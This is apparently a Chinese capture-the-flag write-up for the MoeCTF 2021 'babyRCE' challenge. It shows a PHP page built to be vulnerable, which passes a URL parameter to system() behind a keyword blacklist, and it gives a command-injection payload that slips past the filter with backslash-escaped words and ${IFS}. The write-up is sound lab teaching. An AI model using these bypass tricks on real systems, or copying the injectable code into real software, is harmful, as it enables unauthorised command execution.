[MoeCTF 2021]babyRCE

打开题目在线环境可以看到:

php 复制代码
<?php

$rce = $_GET['rce'];
if (isset($rce)) {
    if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
        system($rce);
    }else {
        echo "hhhhhhacker!!!"."\n";
    }
} else {
    highlight_file(__FILE__);
}

这个代码审计起来就比较简单了,这里ls没有过滤可以直接用ls命令查看**?rce=ls**

查看flag.php就能获得flag。 cat过滤 ==> c\at绕过 (可以在linux系统测试,是可以的) 空格过滤 ==>

${IFS}绕过 flag过滤 ==> fl\ag

最后的payload就是:?rce=c\at${IFS}fl\ag.php

相关推荐
qqssss121dfd16 分钟前
计算机网络(第8版,谢希仁)第三章习题解答
网络·计算机网络·php
苏琢玉3 小时前
用 PHP 解析 Protobuf 的坑与解法
php·protobuf
真正的醒悟3 小时前
图解网络35
开发语言·网络·php
郑州光合科技余经理6 小时前
技术视角:海外版一站式同城生活服务平台源码解析
java·开发语言·uni-app·php·排序算法·objective-c·生活
郑州光合科技余经理6 小时前
海外版生活服务系统源码 | 外卖+跑腿一站式平台技术解析
java·开发语言·javascript·git·spring cloud·php·生活
catchadmin8 小时前
告别 Shell 脚本:用 Laravel Envoy 实现干净可复用的部署
php·laravel
云和数据.ChenGuang9 小时前
Zabbix 6 与 PHP 5 版本**完全不兼容
运维·开发语言·php·zabbix·运维工程师
小白勇闯网安圈9 小时前
bug、Confusion1、ics-07、
网络安全·php·web
呆萌小新@渊洁10 小时前
Linux离线环境安装ffmpeg
linux·ffmpeg·php
WordPress学习笔记11 小时前
什么是functions.php文件?
开发语言·php·wordpress